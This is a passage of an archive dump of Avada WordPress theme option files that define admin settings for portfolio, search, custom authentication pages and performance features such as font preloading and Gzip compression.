'portfolio_social_sharing_box', 'default' => '1', 'type' => 'switch', 'hidden' => $has_global_content, 'update_callback' => [ [ 'condition' => 'is_portfolio_single', 'operator' => '===', 'value' => true, ], ], ], 'portfolio_related_posts' => [ 'label' => esc_html__( 'Related Projects', 'Avada' ), 'description' => esc_html__( 'Turn on to display related projects on single portfolio posts.', 'Avada' ), 'id' => 'portfolio_related_posts', 'default' => '1', 'type' => 'switch', 'hidden' => $has_global_content, 'update_callback' => [ [ 'condition' => 'is_portfolio_single', 'operator' => '===', 'value' => true, ], ], ], 'portfolio_comments' => [ 'label' => esc_html__( 'Comments', 'Avada' ), 'description' => esc_html__( 'Turn on to display comments on single portfolio posts.', 'Avada' ), 'id' => 'portfolio_comments', 'default' => '0', 'type' => 'switch', 'hidden' => $has_global_content, 'update_callback' => [ [ 'condition' => 'is_portfolio_single', 'operator' => '===', 'value' => true, ], ], ], ], ]; return $sections; } Avada/includes/options/search.php000064400000053017152342437700013054 0ustar00get_template_terms(); } $sections['search'] = [ 'label' => esc_html__( 'Search', 'Avada' ), 'id' => 'heading_search', 'priority' => 23, 'icon' => 'el-icon-search', 'alt_icon' => 'fusiona-search', 'fields' => [ 'search_form_options_section' => [ 'label' => esc_html__( 'Search Form', 'Avada' ), 'description' => '', 'id' => 'search_form_options_section', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'search_filter_results' => [ 'label' => esc_html__( 'Limit Search Results Post Types', 'Avada' ), 'description' => esc_html__( 'Turn on to limit the search results to specific post types you can choose.', 'Avada' ), 'id' => 'search_filter_results', 'default' => '0', 'type' => 'switch', 'update_callback' => [ [ 'condition' => 'is_search', 'operator' => '===', 'value' => true, ], ], ], 'search_content' => [ 'label' => esc_html__( 'Search Results Content', 'Avada' ), 'description' => esc_html__( 'Controls the type of content that displays in search results.', 'Avada' ), 'id' => 'search_content', 'default' => [ 'post', 'page', 'avada_portfolio', 'avada_faq' ], 'type' => 'select', 'data' => 'post_types', 'multi' => true, 'required' => [ [ 'setting' => 'search_filter_results', 'operator' => '=', 'value' => '1', ], ], 'update_callback' => [ [ 'condition' => 'is_search', 'operator' => '===', 'value' => true, ], ], ], 'search_limit_to_post_titles' => [ 'label' => esc_html__( 'Limit Search to Post Titles', 'Avada' ), 'description' => esc_html__( 'Turn on to limit the search to post titles only.', 'Avada' ), 'id' => 'search_limit_to_post_titles', 'default' => '0', 'type' => 'switch', 'update_callback' => [ [ 'condition' => 'is_search', 'operator' => '===', 'value' => true, ], ], ], 'search_add_woo_product_skus' => [ 'label' => esc_html__( 'Search for WooCommerce Product SKUs', 'Avada' ), 'description' => esc_html__( 'Turn on to also search for WooCommerce product SKUs. This will only work, if products have been added to the search results content.', 'Avada' ), 'id' => 'search_add_woo_product_skus', 'default' => '0', 'type' => 'switch', 'update_callback' => [ [ 'condition' => 'is_search', 'operator' => '===', 'value' => true, ], ], ], 'search_form_design' => [ 'label' => esc_html__( 'Search Form Design', 'Avada' ), 'description' => esc_html__( 'Controls the design of the search forms.', 'Avada' ), 'id' => 'search_form_design', 'default' => 'clean', 'type' => 'radio-buttonset', 'choices' => [ 'classic' => esc_html__( 'Classic', 'Avada' ), 'clean' => esc_html__( 'Clean', 'Avada' ), ], 'output' => [ // Change classes in . [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'fusion-search-form-$', 'remove_attrs' => [ 'fusion-search-form-classic', 'fusion-search-form-clean' ], ], ], ], 'live_search' => [ 'label' => esc_html__( 'Enable Live Search', 'Avada' ), 'description' => esc_html__( 'Turn on to enable live search results on menu search field and other fitting search forms.', 'Avada' ), 'id' => 'live_search', 'default' => '0', 'type' => 'switch', // Partial refresh for the searchform. 'partial_refresh' => [ 'searchform_live_search' => [ 'selector' => '.searchform.fusion-search-form', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'searchform' ], 'success_trigger_event' => 'avadaLiveSearch', ], ], // This is for the avadaLiveSearchVars.live_search var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaLiveSearchVars', 'id' => 'live_search', 'trigger' => [ 'avadaLiveSearch' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], 'live_search_min_char_count' => [ 'label' => esc_html__( 'Live Search Minimal Character Count', 'Avada' ), 'description' => esc_html__( 'Set the minimal character count to trigger the live search.', 'Avada' ), 'id' => 'live_search_min_char_count', 'default' => '4', 'type' => 'slider', 'choices' => [ 'min' => '1', 'max' => '20', 'step' => '1', ], 'soft_dependency' => true, // Partial refresh for the searchform. 'partial_refresh' => [ 'searchform_live_search_min_char_count' => [ 'selector' => '.searchform.fusion-search-form', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'searchform' ], 'success_trigger_event' => 'avadaLiveSearch', ], ], // JS var: avadaLiveSearchVars.min_char_count. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaLiveSearchVars', 'id' => 'min_char_count', 'trigger' => [ 'avadaLiveSearch' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], 'live_search_results_per_page' => [ 'label' => esc_html__( 'Live Search Number of Posts', 'Avada' ), 'description' => esc_html__( 'Controls the number of posts that should be displayed as search result suggestions.', 'Avada' ), 'id' => 'live_search_results_per_page', 'default' => '100', 'type' => 'slider', 'choices' => [ 'min' => '10', 'max' => '500', 'step' => '10', ], 'soft_dependency' => true, 'output' => [ // JS var: avadaLiveSearchVars.per_page. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaLiveSearchVars', 'id' => 'per_page', 'trigger' => [ 'avadaLiveSearch' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'live_search_results_height' => [ 'label' => esc_html__( 'Live Search Results Container Height', 'Avada' ), 'description' => esc_html__( 'Controls the height of the container in which the search results will be listed.', 'Avada' ), 'id' => 'live_search_results_height', 'default' => '250', 'type' => 'slider', 'choices' => [ 'min' => '100', 'max' => '800', 'step' => '5', ], 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--live_search_results_height', 'value_pattern' => '$px', ], ], ], 'live_search_display_featured_image' => [ 'label' => esc_html__( 'Live Search Display Featured Image', 'Avada' ), 'description' => esc_html__( 'Turn on to display the featured image of each live search result.', 'Avada' ), 'id' => 'live_search_display_featured_image', 'default' => '1', 'type' => 'switch', 'soft_dependency' => true, 'output' => [ // JS var: avadaLiveSearchVars.show_feat_img. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaLiveSearchVars', 'id' => 'show_feat_img', 'trigger' => [ 'avadaLiveSearch' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'live_search_display_post_type' => [ 'label' => esc_html__( 'Live Search Display Post Type', 'Avada' ), 'description' => esc_html__( 'Turn on to display the post type of each live search result.', 'Avada' ), 'id' => 'live_search_display_post_type', 'default' => '1', 'type' => 'switch', 'soft_dependency' => true, 'output' => [ // JS var: avadaLiveSearchVars.display_post_type. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaLiveSearchVars', 'id' => 'display_post_type', 'trigger' => [ 'avadaLiveSearch' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], ], ], ], ]; $sections['search']['fields']['search_page_options_section'] = [ 'label' => esc_html__( 'Search Page', 'Avada' ), 'description' => '', 'id' => 'search_page_options_section', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'search_page_options_template_override_notice' => [ 'id' => 'search_page_options_template_override_notice', 'label' => '', 'hidden' => ! $has_global_content, 'description' => class_exists( 'Fusion_Template_Builder' ) ? sprintf( /* translators: 1: Content|Footer|Page Title Bar. 2: URL. */ '
' . __( 'IMPORTANT NOTE: The options on this tab are not available because a global %1$s override is currently used. To edit your global layout please visit this page.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['content']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', ], 'search_page_options_template_notice' => [ 'id' => 'search_page_options_template_notice', 'label' => '', 'hidden' => $has_global_content, 'description' => class_exists( 'Fusion_Template_Builder' ) ? sprintf( /* translators: %1$s: Live Builder. %2$s: Content|Header|Footer|Page Title Bar. %3$s: Layout selection URL. */ '
' . __( 'IMPORTANT NOTE: For more flexibility and a modern, more performant setup, we recommend using the %1$s to create a custom %2$s Layout. visit this page.', 'Avada' ) . '
', isset( $template_terms['content']['alias'] ) ? $template_terms['content']['alias'] : '', Fusion_Template_Builder::get_instance()->get_template_terms()['content']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', ], 'search_layout' => [ 'label' => esc_html__( 'Search Results Layout', 'Avada' ), 'description' => esc_html__( 'Controls the layout for the search results page.', 'Avada' ), 'id' => 'search_layout', 'default' => 'grid', 'type' => 'select', 'hidden' => $has_global_content, 'choices' => [ 'large' => esc_html__( 'Large', 'Avada' ), 'medium' => esc_html__( 'Medium', 'Avada' ), 'large alternate' => esc_html__( 'Large Alternate', 'Avada' ), 'medium alternate' => esc_html__( 'Medium Alternate', 'Avada' ), 'grid' => esc_html__( 'Grid', 'Avada' ), 'timeline' => esc_html__( 'Timeline', 'Avada' ), ], 'update_callback' => [ [ 'condition' => 'is_search', 'operator' => '===', 'value' => true, ], ], ], 'search_results_per_page' => [ 'label' => esc_html__( 'Number of Search Results Per Page', 'Avada' ), 'description' => esc_html__( 'Controls the number of search results per page.', 'Avada' ), 'id' => 'search_results_per_page', 'default' => '10', 'type' => 'slider', 'hidden' => $has_global_content, 'choices' => [ 'min' => '1', 'max' => '100', 'step' => '1', ], 'update_callback' => [ [ 'condition' => 'is_search', 'operator' => '===', 'value' => true, ], ], ], 'search_pagination_type' => [ 'label' => esc_html__( 'Search Pagination Type', 'Avada' ), 'description' => esc_html__( 'Controls the pagination type for the search results page.', 'Avada' ), 'id' => 'search_pagination_type', 'default' => 'pagination', 'type' => 'radio-buttonset', 'hidden' => $has_global_content, 'choices' => [ 'pagination' => esc_html__( 'Pagination', 'Avada' ), 'infinite_scroll' => esc_html__( 'Infinite Scroll', 'Avada' ), 'load_more_button' => esc_html__( 'Load More Button', 'Avada' ), ], 'update_callback' => [ [ 'condition' => 'is_search', 'operator' => '===', 'value' => true, ], ], ], 'search_grid_columns' => [ 'label' => esc_html__( 'Number of Columns', 'Avada' ), 'description' => __( 'Controls the number of columns for grid layouts.', 'Avada' ), 'id' => 'search_grid_columns', 'default' => 3, 'type' => 'slider', 'hidden' => $has_global_content, 'class' => 'fusion-or-gutter', 'choices' => [ 'min' => 1, 'max' => 6, 'step' => 1, ], 'required' => [ [ 'setting' => 'search_layout', 'operator' => '=', 'value' => 'grid', ], [ 'setting' => 'search_layout', 'operator' => '=', 'value' => 'masonry', ], ], 'update_callback' => [ [ 'condition' => 'is_search', 'operator' => '===', 'value' => true, ], ], ], 'search_grid_column_spacing' => [ 'label' => esc_html__( 'Column Spacing', 'Avada' ), 'description' => esc_html__( 'Controls the column spacing for search results.', 'Avada' ), 'id' => 'search_grid_column_spacing', 'default' => '40', 'type' => 'slider', 'hidden' => $has_global_content, 'class' => 'fusion-or-gutter', 'choices' => [ 'min' => '0', 'step' => '1', 'max' => '300', 'edit' => 'yes', ], 'required' => [ [ 'setting' => 'search_layout', 'operator' => '=', 'value' => 'grid', ], [ 'setting' => 'search_layout', 'operator' => '=', 'value' => 'masonry', ], ], 'css_vars' => [ [ 'name' => '--search_grid_column_spacing', 'element' => '.fusion-blog-layout-grid', 'value_pattern' => '$px', ], ], ], 'search_content_length' => [ 'label' => esc_html__( 'Search Content Display', 'Avada' ), 'description' => esc_html__( 'Controls if the search results content displays as an excerpt or full content or is completely disabled.', 'Avada' ), 'id' => 'search_content_length', 'default' => 'excerpt', 'type' => 'radio-buttonset', 'hidden' => $has_global_content, 'choices' => [ 'excerpt' => esc_html__( 'Excerpt', 'Avada' ), 'full_content' => esc_html__( 'Full Content', 'Avada' ), 'no_text' => esc_html__( 'No Text', 'Avada' ), ], 'update_callback' => [ [ 'condition' => 'is_search', 'operator' => '===', 'value' => true, ], ], ], 'search_excerpt_length' => [ 'label' => esc_html__( 'Search Excerpt Length', 'Avada' ), 'description' => sprintf( __( 'Controls the number of %s in the excerpts on search results.', 'Avada' ), Fusion_Settings::get_instance()->get_default_description( 'excerpt_base', false, 'no_desc' ) ), 'id' => 'search_excerpt_length', 'default' => '10', 'type' => 'slider', 'hidden' => $has_global_content, 'choices' => [ 'min' => '0', 'max' => '500', 'step' => '1', ], 'required' => [ [ 'setting' => 'search_content_length', 'operator' => '==', 'value' => 'excerpt', ], ], 'update_callback' => [ [ 'condition' => 'is_search', 'operator' => '===', 'value' => true, ], ], ], 'search_strip_html_excerpt' => [ 'label' => esc_html__( 'Search Strip HTML from Excerpt', 'Avada' ), 'description' => esc_html__( 'Turn on to strip HTML content from the excerpt for the search results page.', 'Avada' ), 'id' => 'search_strip_html_excerpt', 'default' => '1', 'type' => 'switch', 'hidden' => $has_global_content, 'required' => [ [ 'setting' => 'search_content_length', 'operator' => '==', 'value' => 'excerpt', ], ], 'update_callback' => [ [ 'condition' => 'is_search', 'operator' => '===', 'value' => true, ], ], ], 'search_featured_images' => [ 'label' => esc_html__( 'Featured Images for Search Results', 'Avada' ), 'description' => esc_html__( 'Turn on to display featured images for search results.', 'Avada' ), 'id' => 'search_featured_images', 'default' => '1', 'type' => 'switch', 'hidden' => $has_global_content, 'update_callback' => [ [ 'condition' => 'is_search', 'operator' => '===', 'value' => true, ], ], ], 'search_meta' => [ 'label' => esc_html__( 'Search Results Meta', 'Avada' ), 'description' => esc_html__( 'Select the post meta data you want to be displayed in the individual search results.', 'Avada' ), 'id' => 'search_meta', 'default' => [ 'author', 'date', 'categories', 'comments', 'read_more' ], 'type' => 'select', 'hidden' => $has_global_content, 'multi' => true, 'choices' => [ 'author' => esc_html__( 'Author', 'Avada' ), 'date' => esc_html__( 'Date', 'Avada' ), 'categories' => esc_html__( 'Categories', 'Avada' ), 'tags' => esc_html__( 'Tags', 'Avada' ), 'comments' => esc_html__( 'Comments', 'Avada' ), 'read_more' => esc_html__( 'Read More Link', 'Avada' ), 'post_type' => esc_html__( 'Post Type', 'Avada' ), ], 'update_callback' => [ [ 'condition' => 'is_search', 'operator' => '===', 'value' => true, ], ], ], 'search_new_search_position' => [ 'label' => esc_html__( 'Search Field Position', 'Avada' ), 'description' => esc_html__( 'Controls the position of the search bar on the search results page.', 'Avada' ), 'id' => 'search_new_search_position', 'default' => 'top', 'type' => 'radio-buttonset', 'hidden' => $has_global_content, 'choices' => [ 'top' => esc_html__( 'Above Results', 'Avada' ), 'bottom' => esc_html__( 'Below Results', 'Avada' ), 'hidden' => esc_html__( 'Hide', 'Avada' ), ], 'update_callback' => [ [ 'condition' => 'is_search', 'operator' => '===', 'value' => true, ], ], ], ], ]; return $sections; } Avada/includes/options/auth_pages.php000064400000011411152342437700013717 0ustar00 'WP Default', ]; $pages = get_posts( [ 'post_type' => 'page', 'post_status' => 'publish', 'fields' => 'ids', 'posts_per_page' => -1, 'orderby' => 'title', 'order' => 'ASC', 'lang' => '', 'suppress_filters' => true, ] ); foreach ( $pages as $page_id ) { $page_select[ $page_id ] = get_the_title( $page_id ); } $sections['auth_pages'] = [ 'label' => esc_html__( 'Custom Auth Pages', 'Avada' ), 'id' => 'heading_custom_auth_pages', 'priority' => 26, 'icon' => 'el-icon-lock', 'alt_icon' => 'fusiona-af-password', 'fields' => [ 'auth_pages_notice' => [ 'id' => 'auth_pages_notice', 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: When creating custom auth pages, it is essential that you also use Avada Forms to add a working form with the matching authentication action set on the Submissions tab.', 'Avada' ) . '
', 'type' => 'custom', ], 'auth_pages_login_page' => [ 'label' => esc_html__( 'Login Page', 'Avada' ), 'description' => esc_html__( 'Select which page you want as custom login page.', 'Avada' ), 'id' => 'auth_pages_login_page', 'default' => '0', 'type' => 'select', 'choices' => $page_select, ], 'auth_pages_registration_page' => [ 'label' => esc_html__( 'Registration Page', 'Avada' ), 'description' => esc_html__( 'Select which page you want as custom registration page.', 'Avada' ), 'id' => 'auth_pages_registration_page', 'default' => '0', 'type' => 'select', 'choices' => $page_select, ], 'auth_pages_lost_password_page' => [ 'label' => esc_html__( 'Lost Password Page', 'Avada' ), 'description' => esc_html__( 'Select which page you want as custom lost password page.', 'Avada' ), 'id' => 'auth_pages_lost_password_page', 'default' => '0', 'type' => 'select', 'choices' => $page_select, ], 'auth_pages_reset_password_page' => [ 'label' => esc_html__( 'Reset Password Page', 'Avada' ), 'description' => esc_html__( 'Select which page you want as custom reset password page.', 'Avada' ), 'id' => 'auth_pages_reset_password_page', 'default' => '0', 'type' => 'select', 'choices' => $page_select, ], 'auth_pages_custom_redirect' => [ 'label' => esc_html__( 'WordPress Authentication Pages Redirect', 'Avada' ), 'description' => esc_html__( 'Choose what should happen if a site user visits a default WordPress authentication page/URL (wp-login.php).', 'Avada' ), 'id' => 'auth_pages_custom_redirect', 'default' => 'auth_pages', 'type' => 'select', 'choices' => [ 'auth_pages' => esc_html__( 'Auth Pages', 'Avada' ), 'homepage' => esc_html__( 'Homepage', 'Avada' ), '404' => esc_html__( '404 Page', 'Avada' ), 'custom_page' => esc_html__( 'Custom Page', 'Avada' ), ], ], 'auth_pages_custom_redirect_page' => [ 'label' => esc_html__( 'Custom Redirect Page', 'Avada' ), 'description' => esc_html__( 'Select to which page you want to redirect site users visiting a default WordPress authentication page/URL (wp-login.php).', 'Avada' ), 'id' => 'auth_pages_custom_redirect_page', 'default' => '0', 'type' => 'select', 'choices' => $page_select, 'required' => [ [ 'setting' => 'auth_pages_custom_redirect', 'operator' => '=', 'value' => 'custom_page', ], ], ], 'auth_pages_bypass_param' => [ 'label' => esc_html__( 'Custom Authentication Page Bypass', 'Avada' ), 'description' => esc_html__( 'Set a value here, if you want to use that as a query var for bypassing the custom authentication pages. E.g. my-secret-login (https://example.com/wp-login.php?my-secret-login=1). The default login will be valid for 5 minutes, or until successful log in.', 'Avada' ), 'id' => 'auth_pages_bypass_param', 'default' => '', 'type' => 'text', ], ], ]; return $sections; } Avada/includes/options/performance.php000064400000107626152342437700014116 0ustar00pwa->get_filetypes(); $filetypes = []; foreach ( $all_filetypes as $key => $details ) { $filetypes[ $key ] = $details['label']; } $cache_first_defaults = [ 'images', 'scripts', 'styles', 'fonts' ]; $network_first_defaults = []; /** * WIP $all_pages = get_pages(); $pages = []; foreach ( $all_pages as $page ) { $pages [ $page->ID ] = $page->post_title; } */ $pwa_enabled = ( function_exists( 'wp_register_service_worker_caching_route' ) && class_exists( 'WP_Service_Worker_Caching_Routes' ) ); $is_https = ( false !== strpos( home_url(), 'https' ) ); // Is the JS compiler enabled? $js_compiler_enabled = ( ! isset( $settings['js_compiler'] ) || ( '1' === $settings['js_compiler'] || 1 === $settings['js_compiler'] || true === $settings['js_compiler'] ) ); $is_htaccess_writable = true; if ( is_admin() && isset( $_GET['page'] ) && 'avada_options' === $_GET['page'] || function_exists( 'fusion_is_builder_frame' ) && fusion_is_builder_frame() ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended, $is_htaccess_writable = Avada_Server_Rules::get_instance()->is_htaccess_writable(); } if ( isset( $settings['critical_css'] ) && '1' === $settings['critical_css'] ) { /* translators: Critical CSS page link */ $critical_description = sprintf( __( 'Set to \'on\' to enable the generation of critical CSS. Once turned on you can manage it from the critical CSS page.', 'Avada' ), admin_url( 'admin.php?page=avada-critical' ) ); } else { $critical_description = __( 'Set to \'on\' to enable the generation of critical CSS. Once enabled, a critical CSS page will be added to the Avada dashboard.', 'Avada' ); } $sections['performance'] = [ 'label' => esc_html__( 'Performance', 'Avada' ), 'id' => 'heading_performance', 'is_panel' => true, 'priority' => 25, 'icon' => 'el-icon-time-alt', 'alt_icon' => 'fusiona-check', 'fields' => [ 'lazy_load_iframes' => [ 'label' => esc_html__( 'Iframe Lazy Loading', 'Avada' ), 'description' => __( 'Choose your preferred lazy loading method for your website\'s iframe to improve performance.', 'Avada' ), 'id' => 'lazy_load_iframes', 'default' => 'none', 'type' => 'radio-buttonset', 'choices' => [ 'avada' => esc_html__( 'Avada', 'Avada' ), 'wordpress' => esc_html__( 'WordPress', 'Avada' ), 'none' => esc_html__( 'None', 'Avada' ), ], 'transport' => 'postMessage', // No need to refresh the page. ], 'font_face_display' => [ 'label' => esc_html__( 'Font Face Rendering', 'Avada' ), 'description' => esc_html__( 'Choose "Swap All" for faster rendering with possible flash of unstyled text (FOUT) or "Block" for clean rendering but longer wait time until first paint. "Swap Non-Icon Fonts" will use a mix of the first 2 methods ("swap" for text fonts and "block" for icon-fonts).', 'Avada' ), 'id' => 'font_face_display', 'default' => 'block', 'type' => 'radio-buttonset', 'choices' => [ 'block' => esc_html__( 'Block', 'Avada' ), 'swap' => esc_html__( 'Swap Non-Icon Fonts', 'Avada' ), 'swap-all' => esc_html__( 'Swap All', 'Avada' ), ], 'transport' => 'postMessage', // No need to refresh the page. ], 'preload_fonts' => [ 'label' => esc_html__( 'Preload Key Fonts', 'Avada' ), 'description' => esc_html__( 'Make a selection to prioritize fetching resources that will be requested later in page load. This improves page load time as the browser caches preloaded resources so they are available immediately when needed.', 'Avada' ), 'id' => 'preload_fonts', 'default' => 'icon_fonts', 'type' => 'radio-buttonset', 'choices' => [ 'all' => esc_html__( 'All', 'Avada' ), 'google_fonts' => esc_html__( 'Google Fonts', 'Avada' ), 'icon_fonts' => esc_html__( 'Icon Fonts', 'Avada' ), 'none' => esc_html__( 'None', 'Avada' ), ], 'transport' => 'postMessage', // No need to refresh the page. ], 'preload_fonts_variants' => [ 'label' => esc_html__( 'Preload Google Font Variants', 'Avada' ), 'description' => esc_html__( 'Select the variants of Google fonts that should get preloaded. Leave empty to preload all variants.', 'Avada' ), 'id' => 'preload_fonts_variants', 'default' => '400', 'type' => 'select', 'multi' => true, 'choices' => [ '100' => esc_html__( 'Ultra-Light 100', 'Avada' ), '100-italic' => esc_html__( 'Ultra-Light 100 Italic', 'Avada' ), '200' => esc_html__( 'Light 200', 'Avada' ), '200-italic' => esc_html__( 'Light 200 Italic', 'Avada' ), '300' => esc_html__( 'Book 300', 'Avada' ), '300-italic' => esc_html__( 'Book 300 Italic', 'Avada' ), '400' => esc_html__( 'Normal 400', 'Avada' ), '400-italic' => esc_html__( 'Normal 400 Italic', 'Avada' ), '500' => esc_html__( 'Medium 500', 'Avada' ), '500-italic' => esc_html__( 'Medium 500 Italic', 'Avada' ), '600' => esc_html__( 'Semi-Bold 600', 'Avada' ), '600-italic' => esc_html__( 'Semi-Bold 600 Italic', 'Avada' ), '700' => esc_html__( 'Bold 700', 'Avada' ), '700-italic' => esc_html__( 'Bold 700 Italic', 'Avada' ), '800' => esc_html__( 'Extra-Bold 800', 'Avada' ), '800-italic' => esc_html__( 'Extra-Bold 800 Italic', 'Avada' ), '900' => esc_html__( 'Ultra-Bold 900', 'Avada' ), '900-italic' => esc_html__( 'Ultra-Bold 900 Italic', 'Avada' ), ], 'required' => [ [ 'setting' => 'preload_fonts', 'operator' => '!=', 'value' => 'none', ], [ 'setting' => 'preload_fonts', 'operator' => '!=', 'value' => 'icon_fonts', ], ], // No need to refresh the page. 'transport' => 'postMessage', ], 'preload_fonts_subsets' => [ 'label' => esc_html__( 'Preload Google Font Subsets', 'Avada' ), 'description' => esc_html__( 'Select the subsets of Google fonts that should get preloaded. Leave empty to preload all subsets.', 'Avada' ), 'id' => 'preload_fonts_subsets', 'default' => 'latin', 'type' => 'select', 'multi' => true, 'choices' => [ 'arabic' => esc_html__( 'Latin', 'Avada' ), 'bengali' => esc_html__( 'Bengali', 'Avada' ), 'chinese-hongkong' => esc_html__( 'Chinese Hongkong', 'Avada' ), 'chinese-simplified' => esc_html__( 'Chinese Simplified', 'Avada' ), 'chinese-traditional' => esc_html__( 'Chinese Traditional', 'Avada' ), 'cyrillic' => esc_html__( 'Cyrillic', 'Avada' ), 'cyrillic-ext' => esc_html__( 'Cyrillic Extended', 'Avada' ), 'devanagari' => esc_html__( 'Devanagari', 'Avada' ), 'greek' => esc_html__( 'Greek', 'Avada' ), 'greek-ext' => esc_html__( 'Greek Extended', 'Avada' ), 'gujarati' => esc_html__( 'Gujarati', 'Avada' ), 'gurmukhi' => esc_html__( 'Gurmukhi', 'Avada' ), 'hebrew' => esc_html__( 'Hebrew', 'Avada' ), 'japanese' => esc_html__( 'Japanese', 'Avada' ), 'kannada' => esc_html__( 'Kannada', 'Avada' ), 'khmer' => esc_html__( 'Khmer', 'Avada' ), 'korean' => esc_html__( 'Korean', 'Avada' ), 'latin' => esc_html__( 'Latin', 'Avada' ), 'latin-ext' => esc_html__( 'Latin Extended', 'Avada' ), 'malayalam' => esc_html__( 'Malayalam', 'Avada' ), 'myanmar' => esc_html__( 'Myanmar', 'Avada' ), 'oriya' => esc_html__( 'Oriya', 'Avada' ), 'sinhala' => esc_html__( 'Sinhala', 'Avada' ), 'tamil' => esc_html__( 'Tamil', 'Avada' ), 'telugu' => esc_html__( 'Telugu', 'Avada' ), 'thai' => esc_html__( 'Thai', 'Avada' ), 'tibetan' => esc_html__( 'Tibetan', 'Avada' ), 'vietnamese' => esc_html__( 'Vietnamese', 'Avada' ), ], 'required' => [ [ 'setting' => 'preload_fonts', 'operator' => '!=', 'value' => 'none', ], [ 'setting' => 'preload_fonts', 'operator' => '!=', 'value' => 'icon_fonts', ], ], // No need to refresh the page. 'transport' => 'postMessage', ], 'emojis_disabled' => [ 'label' => esc_html__( 'Emojis Script', 'Avada' ), 'description' => esc_html__( 'If you don\'t use emojis you can improve performance by removing WordPress\' emojis script.', 'Avada' ), 'id' => 'emojis_disabled', 'default' => 'enabled', 'type' => 'radio-buttonset', 'choices' => [ 'enabled' => esc_html__( 'Enable', 'Avada' ), 'disabled' => esc_html__( 'Disable', 'Avada' ), ], // No need to refresh the page. 'transport' => 'postMessage', ], 'jquery_migrate_disabled' => [ 'label' => esc_html__( 'jQuery Migrate Script', 'Avada' ), 'description' => esc_html__( 'If you are not using any deprecated jQuery code, you can disable this script to improve performance.', 'Avada' ), 'id' => 'jquery_migrate_disabled', 'default' => 'enabled', 'type' => 'radio-buttonset', 'choices' => [ 'enabled' => esc_html__( 'Enable', 'Avada' ), 'disabled' => esc_html__( 'Disable', 'Avada' ), ], // No need to refresh the page. 'transport' => 'postMessage', ], 'defer_jquery' => [ 'label' => esc_html__( 'Load jQuery In Footer', 'Avada' ), 'description' => esc_html__( 'Set to \'on\' to defer loading of jQuery to the footer of the page. This will only take effect if no other jQuery dependent scripts are added to the head. Turning this on can cause JS scripts to break, use with caution.', 'Avada' ), 'id' => 'defer_jquery', 'default' => '0', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'defer_styles' => [ 'label' => esc_html__( 'Load Stylesheets In Footer', 'Avada' ), 'description' => esc_html__( 'Set to \'on\' to defer loading of the stylesheets to the footer of the page. This improves page load time by making the styles non-render-blocking. Depending on the connection speed, a flash of unstyled content (FOUC) might occur.', 'Avada' ), 'id' => 'defer_styles', 'default' => '0', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'gzip_note' => $is_htaccess_writable ? [] : [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: .htaccess doesn\'t exist or it is not writable.', 'Avada' ) . '
', 'id' => 'gzip_note', 'type' => 'custom', ], 'gzip_status' => [ 'label' => esc_html__( 'Enable Gzip Compression', 'Avada' ), 'description' => __( 'Set to \'on\' to add Gzip Compression rules to the .htaccess file. IMPORTANT: This option works only on Apache web servers with mod_gzip and mod_deflate enabled.', 'Avada' ), 'id' => 'gzip_status', 'default' => '0', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'video_facade' => [ 'label' => esc_html__( 'Enable Video Facade', 'Avada' ), 'description' => __( 'Use video facade in order to load video player only when video is played. IMPORTANT: This option is only applied to YouTube and Vimeo elements.', 'Avada' ), 'id' => 'video_facade', 'default' => 'off', 'type' => 'radio-buttonset', 'choices' => [ 'on' => esc_html__( 'On', 'Avada' ), 'off' => esc_html__( 'Off', 'Avada' ), ], // No need to refresh the page. 'transport' => 'postMessage', ], 'clear_object_cache' => [ 'label' => esc_html__( 'Clear Object Cache ', 'Avada' ), 'description' => __( 'Set to \'on\' to clear WP\'s object cache on post edit, post deletion, and Avada Form Entries page view. This is useful, if your setup or hoster uses persistent object caching, to make sure that queries update when you add or remove posts.', 'Avada' ), 'id' => 'clear_object_cache', 'default' => '0', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'images_section' => [ 'label' => esc_html__( 'Images', 'Avada' ), 'id' => 'images_section', 'icon' => true, 'type' => 'info', ], 'svg_upload' => [ 'label' => esc_html__( 'SVG Media Upload', 'Avada' ), 'description' => esc_html__( 'Enable upload of SVG files and improve performance through their smaller image and logo file size.', 'Avada' ), 'id' => 'svg_upload', 'default' => 'disabled', 'type' => 'radio-buttonset', 'choices' => [ 'enabled' => esc_html__( 'Enable', 'Avada' ), 'disabled' => esc_html__( 'Disable', 'Avada' ), ], // No need to refresh the page. 'transport' => 'postMessage', ], 'upload_image_format' => [ 'label' => esc_html__( 'Upload Image Format', 'Avada' ), /* translators: "System Statuss" page link. */ 'description' => sprintf( __( 'Select a modern format to use when uploading new images to the media library. If you choose AVIF but your server is not able to convert to this format, it will automatically fall back to webP. You can also convert all your existing images on the %s page.', 'Avada' ), '' . esc_html__( 